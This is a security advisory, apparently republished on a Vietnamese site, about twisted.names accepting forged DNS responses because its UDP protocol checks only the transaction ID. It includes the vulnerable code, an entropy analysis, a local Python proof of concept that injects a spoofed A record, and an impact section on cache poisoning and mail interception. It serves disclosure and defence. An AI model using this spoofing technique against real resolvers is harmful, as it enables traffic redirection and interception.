| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| twisted | < 26.10.0rc1 | 26.10.0rc1 |
twisted.names.dns.DNSDatagramProtocol, the UDP transport used by twisted's DNS client (twisted.names.client.Resolver, createResolver, and anything built on it, including MX lookups in twisted.mail), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.
DNSDatagramProtocol.datagramReceived (src/twisted/names/dns.py, line 3350) is:
def datagramReceived(self, data, addr):
"""
Read a datagram, extract the message in it and trigger the associated
Deferred.
"""
m = Message()
try:
m.fromStr(data)
except EOFError:
...
except ValueError as ex:
...
except BaseException:
...
if m.id in self.liveMessages:
d, canceller = self.liveMessages[m.id]
del self.liveMessages[m.id]
canceller.cancel()
try:
d.callback(m)
except BaseException:
log.err()
else:
if m.id not in self.resends:
self.controller.messageReceived(m, self, addr)
The addr parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is m.id in self.liveMessages, and liveMessages is keyed purely by the transaction ID chosen in DNSMixin.pickID(). The listening socket is a plain listenUDP(0, self, maxPacketSize=512) (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket.
The transaction ID itself is generated with secureRandom (randomSource(), line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. twisted.names.client.Resolver, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new DNSDatagramProtocol bound to a fresh, independently random source port (_connectedProtocol(), src/twisted/names/client.py line 206, using dns.randomSource()) for every individual query, and tearing the socket down once the query completes (, line 253). This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone.
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Quét site miễn phí_query()The missing source-address check is still a real gap for two reasons. First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them. Second, DNSDatagramProtocol is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through client.Resolver's per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on.
twisted.names.client.Resolver uses this same DNSDatagramProtocol class for every UDP query it issues, so every consumer of the standard twisted DNS client, including twisted.mail's MX resolution, is subject to the same unauthenticated accept logic in datagramReceived, moderated by the per-query port rotation described above.
import socket
from twisted.internet import reactor
from twisted.names import dns
class CapturingController:
def messageReceived(self, message, protocol, address):
pass
def main():
resolverProto = dns.DNSDatagramProtocol(CapturingController())
resolverProto.startListening()
real_server = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers
query = dns.Query(b"victim.example.com", dns.A, dns.IN)
d = resolverProto.query(real_server, [query], timeout=5)
stolen_id = next(iter(resolverProto.liveMessages))
resolver_port = resolverProto.transport.getHost().port
forged = dns.Message(stolen_id, answer=1)
forged.queries = [query]
forged.answers = [
dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60,
payload=dns.Record_A(address="6.6.6.6"))
]
attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
attacker_sock.bind(("127.0.0.1", 0)) # unrelated to real_server
attacker_sock.sendto(forged.toStr(), ("127.0.0.1", resolver_port))
def onResult(message):
print("Resolver ACCEPTED forged response as the answer to its query to", real_server)
print("Spoofed A record:", message.answers[0].payload.dottedQuad())
reactor.stop()
d.addCallback(onResult)
reactor.callWhenRunning(main)
reactor.run()
Output:
Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995
Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53))
Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53)
Spoofed A record: 6.6.6.6
The query was sent to 203.0.113.1:53, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation.
Any application resolving hostnames through twisted.names can have DNS answers forged by a network party able to deliver a UDP packet to the resolver's listening port with the correct transaction ID, and, for the standard client.Resolver path, the correct ephemeral source port too. An on-path attacker, or one sharing a broadcast domain or NAT with the resolver or the real DNS server, faces no meaningful barrier at all, since source-address validation is exactly the check that would stop them and it is absent. An off-path attacker targeting the standard client.Resolver API must win a roughly 32-bit combined guess (port and transaction ID) within the query timeout window; the same attacker targeting code that uses the public DNSDatagramProtocol class directly across multiple queries on one instance, a supported usage pattern, faces only the 16-bit transaction ID space per query after the first. A successful forgery lets an attacker redirect hostname resolution to an address of their choosing, enabling mail interception (spoofed MX/A records), SSRF, or man-in-the-middle positioning against anything that trusts the resolved address.